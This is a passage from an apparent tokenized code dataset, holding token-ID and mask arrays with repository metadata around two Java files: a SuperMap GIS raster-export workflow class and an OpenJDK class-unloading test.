2588,
492,
303,
339,
222,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 410
| true
| 71.52439
| true
| true
|
MetaProcessExportGrid.java
|
/FileExtraction/Java_unseen/SuperMap-iDesktop_SuperMap-iDesktop-Cross/WorkflowView/src/main/java/com/supermap/desktop/WorkflowView/meta/metaProcessImplements/MetaProcessExportGrid.java
|
package com.supermap.desktop.WorkflowView.meta.metaProcessImplements;
import com.supermap.data.DatasetGrid;
import com.supermap.data.conversion.ExportSetting;
import com.supermap.data.conversion.ExportSettingBMP;
import com.supermap.data.conversion.ExportSettingGIF;
import com.supermap.data.conversion.ExportSettingJPG;
import com.supermap.data.conversion.ExportSettingPNG;
import com.supermap.data.conversion.ExportSettingSIT;
import com.supermap.data.conversion.ExportSettingTIF;
import com.supermap.data.conversion.ExportSteppedEvent;
import com.supermap.data.conversion.ExportSteppedListener;
import com.supermap.desktop.Application;
import com.supermap.desktop.WorkflowView.meta.MetaKeys;
import com.supermap.desktop.WorkflowView.meta.metaProcessImplements.spatialStatistics.MetaProcessAbstractExport;
import com.supermap.desktop.controls.ControlsProperties;
import com.supermap.desktop.process.ProcessProperties;
import com.supermap.desktop.process.events.RunningEvent;
import com.supermap.desktop.process.parameter.interfaces.datas.types.DatasetTypes;
import com.supermap.desktop.process.parameter.ipls.ParameterCheckBox;
import com.supermap.desktop.process.parameter.ipls.ParameterCombine;
import com.supermap.desktop.process.parameter.ipls.ParameterFile;
import com.supermap.desktop.process.parameter.ipls.ParameterPassword;
import com.supermap.desktop.process.parameter.ipls.ParameterTextField;
import com.supermap.desktop.ui.controls.SmFileChoose;
import com.supermap.desktop.utilities.DatasetTypeUtilities;
import com.supermap.desktop.utilities.DatasetUtilities;
import com.supermap.desktop.utilities.StringUtilities;
import java.io.File;
import java.text.MessageFormat;
/**
* Created by xie on 2017/6/28.
*/
public class MetaProcessExportGrid extends MetaProcessAbstractExport {
private ParameterCombine gridCombine;
private ParameterTextField compressionRatio;
private ParameterFile prjFile;
private ParameterCheckBox checkBoxTFW;
private ParameterPassword password;
private ParameterPassword confirmPassword;
private ExportSteppedListener exportListener = new ExportSteppedListener() {
@Override
public void stepped(ExportSteppedEvent e) {
RunningEvent event = new RunningEvent(MetaProcessExportGrid.this, e.getSubPercent(), "");
fireRunning(event);
if (event.isCancel()) {
e.setCancel(true);
}
}
};
public MetaProcessExportGrid() {
this.OUTPUT_DATA_TYPE = ControlsProperties.getString("String_Grid");
initParameters();
registerEvents();
}
protected void initParameters() {
super.initParameters();
this.dataset.setDatasetTypes(DatasetTypeUtilities.getDatasetTypeGrid());
DatasetGrid datasetGrid = DatasetUtilities.getDefaultDatasetGrid();
if (datasetGrid != null) {
this.datasource.setSelectedItem(datasetGrid.getDatasource());
this.dataset.setSelectedItem(datasetGrid);
}
String module = "ExportGrid_OutPutDirectories";
if (!SmFileChoose.isModuleExist(module)) {
SmFileChoose.addNewNode("", System.getProperty("user.dir"), ProcessProperties.getString("String_Export"),
module, "GetDirectories");
}
exportPath.setModuleName(module);
this.gridCombine = new ParameterCombine();
this.gridCombine.setDescribe(ProcessProperties.getString("String_ParamSet"));
this.compressionRatio = new ParameterTextField(ProcessProperties.getString("String_CompressionRatio"));
this.compressionRatio.setEnabled(false);
this.prjFile = new ParameterFile(ProcessProperties.getString("String_PrjFile"));
String moduleForTFW = "ExportGrid_TFW";
if (!SmFileChoose.isModuleExist(moduleForTFW)) {
String fileFilters = SmFileChoose.createFileFilter(ProcessProperties.getString("string_filetype_tfw"), "tfw");
SmFileChoose.addNewNode(fileFilters, System.getProperty("user.dir"),
ProcessProperties.getString("String_Export"), moduleForTFW, "SaveOne");
}
prjFile.setModuleName(moduleForTFW);
this.prjFile.setEnabled(false);
this.checkBoxTFW = new ParameterCheckBox(ProcessProperties.getString("String_TFW"));
this.checkBoxTFW.setEnabled(false);
this.checkBoxTFW.setSelectedItem(true);
this.password = new ParameterPassword(ProcessProperties.getString("String_Password"));
this.password.setEnabled(false);
this.confirmPassword = new ParameterPassword(ProcessProperties.getString("String_ConfirmPassword"));
this.confirmPassword.setEnabled(false);
this.basicCombine.addParameters(this.supportType, this.targetName
, this.exportPath, this.cover);
this.gridCombine.addParameters(this.compressionRatio, this.prjFile, this.checkBoxTFW,
this.password, this.confirmPassword);
this.parameters.setParameters(this.sourceInfo, this.basicCombine, this.gridCombine);
this.parameters.addInputParameters(INPUT_DATA, DatasetTypes.GRID, this.sourceInfo);
resetDataset();
}
protected void resetDataset() {
super.resetDataset();
initComponentsState(exportSetting);
}
protected void resetExportSetting() {
super.resetExportSetting();
initComponentsState(exportSetting);
}
private void initComponentsState(ExportSetting exportSetting) {
this.prjFile.setEnabled(false);
this.prjFile.setSelectedItem("");
this.compressionRatio.setEnabled(false);
this.compressionRatio.setSelectedItem("");
this.checkBoxTFW.setEnabled(false);
this.checkBoxTFW.setSelectedItem("false");
this.password.setEnabled(false);
this.password.setSelectedItem("");
this.confirmPassword.setEnabled(false);
this.confirmPassword.setSelectedItem("");
if (exportSetting instanceof ExportSettingBMP || exportSetting instanceof ExportSettingGIF ||
exportSetting instanceof ExportSettingJPG || exportSetting instanceof ExportSettingPNG) {
this.prjFile.setEnabled(true);
if (exportSetting instanceof ExportSettingJPG) {
compressionRatio.setEnabled(true);
compressionRatio.setSelectedItem(String.valueOf(((ExportSettingJPG) exportSetting).getCompression()));
}
} else if (exportSetting instanceof ExportSettingTIF) {
this.checkBoxTFW.setEnabled(true);
this.checkBoxTFW.setSelectedItem(((ExportSettingTIF) exportSetting).isExportingGeoTransformFile());
} else if (exportSetting instanceof ExportSettingSIT) {
this.password.setEnabled(true);
this.confirmPassword.setEnabled(true);
}
}
@Override
public String getTitle() {
return ProcessProperties.getString("String_ExportGrid");
}
@Override
public boolean execute() {
boolean isSuccessful = false;
boolean isOverwrite = Boolean.valueOf(cover.getSelectedItem().toString());
String targetPath = getFilePath();
if (StringUtilities.isNullOrEmpty(targetPath)) {
Application.getActiveApplication().getOutput().output(ProcessProperties.getString("String_ExportPathIsNull"));
return false;
}
if (new File(targetPath).exists() && !isOverwrite) {
Application.getActiveApplication().getOutput().output(MessageFormat.format(ProcessProperties.getString("String_DuplicateFileError"), targetPath));
} else if (!StringUtilities.isNullOrEmpty(targetPath)) {
setExportSettingInfo(isOverwrite);
isSuccessful = printResultInfo(isSuccessful, targetPath, this.exportListener);
}
return isSuccessful;
}
@Override
protected void setExportSettingInfo(boolean isOverwrite) {
super.setExportSettingInfo(isOverwrite);
if (exportSetting instanceof ExportSettingJPG) {
((ExportSettingJPG) exportSetting).setCompression(Integer.valueOf(compressionRatio.getSelectedItem()));
((ExportSettingJPG) exportSetting).setWorldFilePath(prjFile.getSelectedItem());
} else if (exportSetting instanceof ExportSettingBMP) {
((ExportSettingBMP) exportSetting).setWorldFilePath(prjFile.getSelectedItem());
} else if (exportSetting instanceof ExportSettingGIF) {
((ExportSettingGIF) exportSetting).setWorldFilePath(prjFile.getSelectedItem());
} else if (exportSetting instanceof ExportSettingPNG) {
((ExportSettingPNG) exportSetting).setWorldFilePath(prjFile.getSelectedItem());
} else if (exportSetting instanceof ExportSettingTIF) {
((ExportSettingTIF) exportSetting).setExportAsTile(Boolean.valueOf(checkBoxTFW.getSelectedItem()));
} else if (exportSetting instanceof ExportSettingSIT) {
((ExportSettingSIT) exportSetting).setPassword(this.password.getSelectedItem().toString());
}
}
@Override
public String getKey() {
return MetaKeys.EXPORTGRID;
}
}
| 8,289
|
Java
|
.java
|
SuperMap-iDesktop/SuperMap-iDesktop-Cross
| 31
| 19
| 1
|
2016-04-28T07:28:01Z
|
2018-07-09T03:55:45Z
|
5c78004519fa8cf524459a402063b027defcb09e6bea1537dfae97028d0438ea
|
[
1337,
785,
51,
5282,
1130,
51,
10956,
51,
11207,
1089,
51,
2874,
51,
2874,
2877,
47362,
64,
222,
222,
485,
785,
51,
5282,
1130,
51,
624,
51,
9440,
3567,
64,
222,
485,
785,
51,
5282,
1130,
51,
624,
51,
19714,
51,
6171,
7093,
64,
222,
485,
785,
51,
5282,
1130,
51,
624,
51,
19714,
51,
6171,
7093,
71,
1471,
64,
222,
485,
785,
51,
5282,
1130,
51,
624,
51,
19714,
51,
6171,
7093,
76,
2971,
64,
222,
485,
785,
51,
5282,
1130,
51,
624,
51,
19714,
51,
6171,
7093,
29581,
64,
222,
485,
785,
51,
5282,
1130,
51,
624,
51,
19714,
51,
6171,
7093,
17185,
64,
222,
485,
785,
51,
5282,
1130,
51,
624,
51,
19714,
51,
6171,
7093,
88,
799,
64,
222,
485,
785,
51,
5282,
1130,
51,
624,
51,
19714,
51,
6171,
7093,
23606,
64,
222,
485,
785,
51,
5282,
1130,
51,
624,
51,
19714,
51,
6171,
15700,
8019,
1167,
64,
222,
485,
785,
51,
5282,
1130,
51,
624,
51,
19714,
51,
6171,
15700,
8019,
2239,
64,
222,
485,
785,
51,
5282,
1130,
51,
10956,
51,
2743,
64,
222,
485,
785,
51,
5282,
1130,
51,
10956,
51,
11207,
1089,
51,
2874,
51,
4247,
5044,
64,
222,
485,
785,
51,
5282,
1130,
51,
10956,
51,
11207,
1089,
51,
2874,
51,
2874,
2877,
47362,
51,
20905,
13487,
51,
4247,
2877,
5597,
6171,
64,
222,
485,
785,
51,
5282,
1130,
51,
10956,
51,
10860,
51,
6398,
3303,
64,
222,
485,
785,
51,
5282,
1130,
51,
10956,
51,
2441,
51,
2877,
3303,
64,
222,
485,
785,
51,
5282,
1130,
51,
10956,
51,
2441,
51,
5070,
51,
9519,
1167,
64,
222,
485,
785,
51,
5282,
1130,
51,
10956,
51,
2441,
51,
5616,
51,
11204,
51,
14035,
51,
2529,
51,
9440,
2439,
64,
222,
485,
785,
51,
5282,
1130,
51,
10956,
51,
2441,
51,
5616,
51,
110,
576,
120,
51,
3026,
13592,
64,
222,
485,
785,
51,
5282,
1130,
51,
10956,
51,
2441,
51,
5616,
51,
110,
576,
120,
51,
3026,
17196,
64,
222,
485,
785,
51,
5282,
1130,
51,
10956,
51,
2441,
51,
5616,
51,
110,
576,
120,
51,
3026,
991,
64,
222,
485,
785,
51,
5282,
1130,
51,
10956,
51,
2441,
51,
5616,
51,
110,
576,
120,
51,
3026,
4060,
64,
222,
485,
785,
51,
5282,
1130,
51,
10956,
51,
2441,
51,
5616,
51,
110,
576,
120,
51,
3026,
10213,
64,
222,
485,
785,
51,
5282,
1130,
51,
10956,
51,
1726,
51,
10860,
51,
6369,
991,
21028,
64,
222,
485,
785,
51,
5282,
1130,
51,
10956,
51,
16092,
51,
9440,
638,
13392,
64,
222,
485,
785,
51,
5282,
1130,
51,
10956,
51,
16092,
51,
9440,
13392,
64,
222,
485,
785,
51,
5282,
1130,
51,
10956,
51,
16092,
51,
671,
13392,
64,
222,
222,
485,
1401,
51,
735,
51,
991,
64,
222,
485,
1401,
51,
897,
51,
1193,
2222,
64,
222,
222,
1350,
222,
338,
6956,
829,
837,
1093,
563,
244,
55,
53,
54,
60,
52,
59,
52,
55,
61,
51,
222,
588,
222,
942,
462,
11990,
2877,
6171,
3567,
2041,
11990,
2877,
5597,
6171,
320,
222,
221,
2072,
10922,
17196,
5145,
17196,
64,
222,
221,
2072,
10922,
10213,
18757,
10693,
64,
222,
221,
2072,
10922,
991,
1173,
111,
991,
64,
222,
221,
2072,
10922,
13592,
44979,
5771,
92,
64,
222,
221,
2072,
10922,
4060,
3894,
64,
222,
221,
2072,
10922,
4060,
8682,
4060,
64,
3067,
221,
2072,
14715,
15700,
8019,
2239,
4184,
2239,
299,
556,
14715,
15700,
8019,
2239,
365,
320,
376,
221,
69,
1806,
376,
221,
942,
782,
14683,
8019,
45,
6171,
15700,
8019,
1167,
503,
46,
320,
374,
221,
9519,
1167,
1708,
299,
556,
13794,
1167,
45,
4247,
2877,
6171,
3567,
51,
597,
49,
503,
51,
34287,
12270,
1046,
10780,
374,
221,
5734,
9519,
45,
1585,
312,
374,
221,
344,
327,
1585,
51,
316,
7034,
1177,
320,
621,
221,
106,
51,
489,
7034,
45,
1527,
312,
374,
221,
130,
376,
221,
130,
222,
221,
1274,
499,
221,
942,
11990,
2877,
6171,
3567,
365,
320,
376,
221,
597,
51,
10838,
100,
4629,
100,
2333,
299,
27839,
3303,
51,
7080,
459,
671,
100,
3567,
742,
376,
221,
1683,
3694,
492,
376,
221,
3334,
5015,
492,
222,
221,
130,
499,
221,
5332,
782,
3238,
3694,
365,
320,
376,
221,
5282,
51,
1683,
3694,
492,
376,
221,
597,
51,
5709,
51,
489,
9440,
2439,
45,
9440,
638,
13392,
51,
390,
9440,
638,
3567,
1052,
376,
221,
9440,
3567,
5984,
3567,
299,
19265,
13392,
51,
13729,
9440,
3567,
492,
376,
221,
344,
327,
5709,
3567,
882,
762,
46,
320,
374,
221,
597,
51,
25697,
51,
26623,
1114,
45,
5709,
3567,
51,
390,
45897,
1052,
374,
221,
597,
51,
5709,
51,
26623,
1114,
45,
5709,
3567,
312,
376,
221,
130,
376,
221,
671,
2313,
299,
332,
6171,
3567,
100,
1529,
9278,
26054,
884,
376,
221,
344,
1445,
6369,
991,
21028,
51,
316,
2478,
11761,
45,
1663,
509,
320,
374,
221,
6369,
991,
21028,
51,
688,
1827,
1230,
13963,
1189,
51,
12712,
459,
514,
51,
1537,
2132,
6849,
3303,
51,
7080,
459,
671,
100,
6171,
2132,
596,
221,
1663,
49,
332,
953,
26054,
742,
376,
221,
130,
376,
221,
1376,
1233,
51,
489,
32605,
45,
1663,
312,
1332,
221,
597,
51,
3393,
17196,
299,
556,
10922,
17196,
492,
376,
221,
597,
51,
3393,
17196,
51,
489,
8606,
45,
2877,
3303,
51,
7080,
459,
671,
100,
3196,
903,
2992,
376,
221,
597,
51,
22235,
10693,
299,
556,
10922,
10213,
45,
2877,
3303,
51,
7080,
459,
671,
100,
20571,
10693,
2992,
376,
221,
597,
51,
22235,
10693,
51,
18822,
45,
1886,
312,
376,
221,
597,
51,
44588,
991,
299,
556,
10922,
991,
45,
2877,
3303,
51,
7080,
459,
671,
100,
2161,
111,
991,
2992,
376,
221,
671,
2313,
1580,
5771,
92,
299,
332,
6171,
3567,
100,
5771,
92,
884,
376,
221,
344,
1445,
6369,
991,
21028,
51,
316,
2478,
11761,
45,
1663,
1580,
5771,
92,
509,
320,
374,
221,
671,
822,
11785,
299,
9843,
991,
21028,
51,
1315,
991,
2365,
45,
2877,
3303,
51,
7080,
459,
819,
100,
781,
700,
100,
4274,
124,
2132,
332,
4274,
124,
742,
374,
221,
6369,
991,
21028,
51,
688,
1827,
1230,
45,
781,
11785,
49,
1189,
51,
12712,
459,
514,
51,
1537,
2132,
596,
221,
2877,
3303,
51,
7080,
459,
671,
100,
6171,
2132,
2313,
1580,
5771,
92,
49,
332,
5134,
3597,
742,
376,
221,
130,
376,
221,
44588,
991,
51,
489,
32605,
45,
1663,
1580,
5771,
92,
312,
1332,
221,
597,
51,
44588,
991,
51,
18822,
45,
1886,
312,
376,
221,
597,
51,
23872,
5771,
92,
299,
556,
10922,
13592,
45,
2877,
3303,
51,
7080,
459,
671,
100,
5771,
92,
2992,
376,
221,
597,
51,
23872,
5771,
92,
51,
18822,
45,
1886,
312,
376,
221,
597,
51,
23872,
5771,
92,
51,
26623,
1114,
45,
1527,
312,
376,
221,
597,
51,
2911,
299,
556,
10922,
4060,
45,
2877,
3303,
51,
7080,
459,
671,
100,
4060,
2992,
376,
221,
597,
51,
2911,
51,
18822,
45,
1886,
312,
376,
221,
597,
51,
8870,
4060,
299,
556,
10922,
4060,
45,
2877,
3303,
51,
7080,
459,
671,
100,
9942,
4060,
2992,
376,
221,
597,
51,
8870,
4060,
51,
18822,
45,
1886,
312,
376,
221,
597,
51,
6404,
17196,
51,
688,
3694,
45,
597,
51,
3608,
638,
49,
477,
51,
2000,
577,
621,
221,
49,
477,
51,
1376,
1233,
49,
477,
51,
4120,
312,
376,
221,
597,
51,
3393,
17196,
51,
688,
3694,
45,
597,
51,
22235,
10693,
49,
477,
51,
44588,
991,
49,
477,
51,
23872,
5771,
92,
49,
621,
221,
597,
51,
2911,
49,
477,
51,
8870,
4060,
312,
376,
221,
597,
51,
5173,
51,
489,
3694,
45,
597,
51,
1876,
1139,
49,
477,
51,
6404,
17196,
49,
477,
51,
3393,
17196,
312,
376,
221,
597,
51,
5173,
51,
688,
1630,
3694,
45,
10834,
100,
4629,
49,
19265,
2439,
51,
31339,
49,
477,
51,
1876,
1139,
312,
376,
221,
4558,
9440,
492,
222,
221,
130,
499,
221,
5332,
782,
5672,
9440,
365,
320,
376,
221,
5282,
51,
4558,
9440,
492,
376,
221,
1683,
8176,
1095,
45,
1376,
7093,
312,
222,
221,
130,
499,
221,
5332,
782,
5672,
6171,
7093,
365,
320,
376,
221,
5282,
51,
4558,
6171,
7093,
492,
376,
221,
1683,
8176,
1095,
45,
1376,
7093,
312,
222,
221,
130,
499,
221,
2072,
782,
3238,
8176,
1095,
45,
6171,
7093,
4184,
7093,
46,
320,
376,
221,
597,
51,
44588,
991,
51,
18822,
45,
1886,
312,
376,
221,
597,
51,
44588,
991,
51,
26623,
1114,
10928,
376,
221,
597,
51,
22235,
10693,
51,
18822,
45,
1886,
312,
376,
221,
597,
51,
22235,
10693,
51,
26623,
1114,
10928,
376,
221,
597,
51,
23872,
5771,
92,
51,
18822,
45,
1886,
312,
376,
221,
597,
51,
23872,
5771,
92,
51,
26623,
1114,
459,
1886,
742,
376,
221,
597,
51,
2911,
51,
18822,
45,
1886,
312,
376,
221,
597,
51,
2911,
51,
26623,
1114,
10928,
376,
221,
597,
51,
8870,
4060,
51,
18822,
45,
1886,
312,
376,
221,
597,
51,
8870,
4060,
51,
26623,
1114,
10928,
376,
221,
344,
327,
1376,
7093,
5118,
14715,
7093,
71,
1471,
1293,
4184,
7093,
5118,
14715,
7093,
76,
2971,
1293,
621,
221,
1376,
7093,
5118,
14715,
7093,
29581,
1293,
4184,
7093,
5118,
14715,
7093,
17185,
46,
320,
374,
221,
597,
51,
44588,
991,
51,
18822,
45,
1527,
312,
374,
221,
344,
327,
1376,
7093,
5118,
14715,
7093,
29581,
46,
320,
621,
221,
22235,
10693,
51,
18822,
45,
1527,
312,
621,
221,
22235,
10693,
51,
26623,
1114,
45,
671,
51,
9169,
7738,
6171,
7093,
29581,
46,
4184,
7093,
566,
390,
20571,
5086,
374,
221,
130,
376,
221,
130,
832,
434,
327,
1376,
7093,
5118,
14715,
7093,
23606,
46,
320,
374,
221,
597,
51,
23872,
5771,
92,
51,
18822,
45,
1527,
312,
374,
221,
597,
51,
23872,
5771,
92,
51,
26623,
1114,
7738,
6171,
7093,
23606,
46,
4184,
7093,
566,
316,
6171,
318,
10643,
4879,
991,
1052,
376,
221,
130,
832,
434,
327,
1376,
7093,
5118,
14715,
7093,
88,
799,
46,
320,
374,
221,
597,
51,
2911,
51,
18822,
45,
1527,
312,
374,
221,
597,
51,
8870,
4060,
51,
18822,
45,
1527,
312,
376,
221,
130,
222,
221,
130,
499,
221,
69,
1806,
222,
221,
942,
910,
640,
3188,
365,
320,
376,
221,
620,
6849,
3303,
51,
7080,
459,
671,
100,
6171,
3567,
742,
222,
221,
130,
499,
221,
69,
1806,
222,
221,
942,
1922,
5755,
365,
320,
376,
221,
4412,
458,
21502,
299,
920,
64,
376,
221,
4412,
458,
40402,
299,
5080,
51,
9169,
45,
4120,
51,
21851,
1114,
941,
3127,
1052,
376,
221,
671,
1780,
1233,
299,
640,
9141,
492,
376,
221,
344,
327,
671,
13392,
51,
17331,
12446,
45,
2000,
1233,
509,
320,
374,
221,
2743,
51,
21637,
2743,
941,
35844,
941,
2051,
45,
2877,
3303,
51,
7080,
459,
671,
100,
6171,
1233,
10418,
2992,
374,
221,
620,
920,
64,
376,
221,
130,
376,
221,
344,
327,
909,
2050,
45,
2000,
1233,
566,
4678,
365,
979,
673,
316,
40402,
46,
320,
374,
221,
2743,
51,
21637,
2743,
941,
35844,
941,
2051,
45,
1193,
2222,
51,
1664,
45,
2877,
3303,
51,
7080,
459,
671,
100,
18000,
991,
943,
2132,
1780,
1233,
894,
376,
221,
130,
832,
434,
1445,
671,
13392,
51,
17331,
12446,
45,
2000,
1233,
509,
320,
374,
221,
489,
6171,
7093,
1139,
45,
316,
40402,
312,
374,
221,
316,
21502,
299,
1489,
1413,
1139,
45,
316,
21502,
49,
1780,
1233,
49,
477,
51,
1376,
2239,
312,
376,
221,
130,
376,
221,
620,
458,
21502,
64,
222,
221,
130,
499,
221,
69,
1806,
222,
221,
5332,
782,
758,
6171,
7093,
1139,
45,
4412,
458,
40402,
46,
320,
376,
221,
5282,
51,
489,
6171,
7093,
1139,
45,
316,
40402,
312,
376,
221,
344,
327,
1376,
7093,
5118,
14715,
7093,
29581,
46,
320,
374,
221,
1181,
6171,
7093,
29581,
46,
4184,
7093,
566,
489,
20571,
45,
3078,
51,
9169,
45,
22235,
10693,
51,
21851,
1114,
5086,
374,
221,
1181,
6171,
7093,
29581,
46,
4184,
7093,
566,
489,
6719,
9141,
45,
44588,
991,
51,
21851,
1114,
1052,
376,
221,
130,
832,
434,
327,
1376,
7093,
5118,
14715,
7093,
71,
1471,
46,
320,
374,
221,
1181,
6171,
7093,
71,
1471,
46,
4184,
7093,
566,
489,
6719,
9141,
45,
44588,
991,
51,
21851,
1114,
1052,
376,
221,
130,
832,
434,
327,
1376,
7093,
5118,
14715,
7093,
76,
2971,
46,
320,
374,
221,
1181,
6171,
7093,
76,
2971,
46,
4184,
7093,
566,
489,
6719,
9141,
45,
44588,
991,
51,
21851,
1114,
1052,
376,
221,
130,
832,
434,
327,
1376,
7093,
5118,
14715,
7093,
17185,
46,
320,
374,
221,
1181,
6171,
7093,
17185,
46,
4184,
7093,
566,
489,
6719,
9141,
45,
44588,
991,
51,
21851,
1114,
1052,
376,
221,
130,
832,
434,
327,
1376,
7093,
5118,
14715,
7093,
23606,
46,
320,
374,
221,
1181,
6171,
7093,
23606,
46,
4184,
7093,
566,
489,
6171,
1482,
8079,
45,
4718,
51,
9169,
45,
23872,
5771,
92,
51,
21851,
1114,
5086,
376,
221,
130,
832,
434,
327,
1376,
7093,
5118,
14715,
7093,
88,
799,
46,
320,
374,
221,
1181,
6171,
7093,
88,
799,
46,
4184,
7093,
566,
489,
4060,
45,
597,
51,
2911,
51,
21851,
1114,
941,
3127,
1052,
376,
221,
130,
222,
221,
130,
499,
221,
69,
1806,
222,
221,
942,
910,
39774,
365,
320,
376,
221,
620,
11990,
5044,
51,
10673,
31339,
64,
222,
221,
130,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 2,187
| true
| 79.901074
| true
| true
|
KeepAliveObject.java
|
/FileExtraction/Java_unseen/corretto_corretto-19/test/hotspot/jtreg/runtime/ClassUnload/KeepAliveObject.java
|
/*
* Copyright (c) 2013, 2021, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
/*
* @test KeepAliveObject
* @summary This test case uses a class instance to keep the class alive.
* @requires vm.opt.final.ClassUnloading
* @modules java.base/jdk.internal.misc
* @library /test/lib
* @library classes
* @build sun.hotspot.WhiteBox test.Empty
* @run driver jdk.test.lib.helpers.ClassFileInstaller sun.hotspot.WhiteBox
* @run main/othervm -Xbootclasspath/a:. -Xmn8m -XX:+UnlockDiagnosticVMOptions -XX:+WhiteBoxAPI KeepAliveObject
*/
import sun.hotspot.WhiteBox;
import jdk.test.lib.classloader.ClassUnloadCommon;
/**
* Test that verifies that classes are not unloaded when specific types of references are kept to them.
*/
public class KeepAliveObject {
private static final String className = "test.Empty";
private static final WhiteBox wb = WhiteBox.getWhiteBox();
public static Object escape = null;
public static void main(String... args) throws Exception {
ClassLoader cl = ClassUnloadCommon.newClassLoader();
Class<?> c = cl.loadClass(className);
Object o = c.newInstance();
cl = null; c = null;
escape = o;
{
boolean isAlive = wb.isClassAlive(className);
System.out.println("testObject (1) alive: " + isAlive);
ClassUnloadCommon.failIf(!isAlive, "should be alive");
}
ClassUnloadCommon.triggerUnloading();
{
boolean isAlive = wb.isClassAlive(className);
System.out.println("testObject (2) alive: " + isAlive);
ClassUnloadCommon.failIf(!isAlive, "should be alive");
}
o = null;
escape = null;
ClassUnloadCommon.triggerUnloading();
{
boolean isAlive = wb.isClassAlive(className);
System.out.println("testObject (3) alive: " + isAlive);
ClassUnloadCommon.failIf(isAlive, "should be unloaded");
}
}
}
| 2,842
|
Java
|
.java
|
corretto/corretto-19
| 12
| 5
| 1
|
2022-08-09T18:56:37Z
|
2023-03-20T21:14:59Z
|
1dec3eb92880d6d5a3da71a8e48791c8d7f35027e34ed17368d1895f2e3d4476
|
[
1127,
222,
338,
2657,
327,
104,
46,
244,
55,
53,
54,
56,
49,
244,
55,
53,
55,
54,
49,
17980,
480,
52,
290,
2840,
25094,
51,
3381,
4760,
5225,
51,
222,
338,
4103,
2387,
23740,
1895,
35234,
8995,
2387,
11988,
1895,
8968,
10961,
30441,
51,
222,
338,
222,
338,
1369,
1361,
458,
3760,
2951,
64,
863,
902,
14081,
580,
480,
52,
290,
5370,
580,
222,
338,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
1522,
244,
55,
1773,
49,
641,
222,
338,
9582,
829,
341,
7834,
3870,
7120,
51,
222,
338,
222,
338,
1369,
1361,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
1294,
4213,
222,
338,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
7934,
575,
222,
338,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
6994,
6153,
5062,
1196,
222,
338,
1522,
244,
55,
456,
1851,
4261,
327,
102,
1948,
458,
5976,
347,
341,
7621,
822,
708,
222,
338,
20854,
297,
4850,
477,
1361,
566,
222,
338,
222,
338,
2469,
1414,
1178,
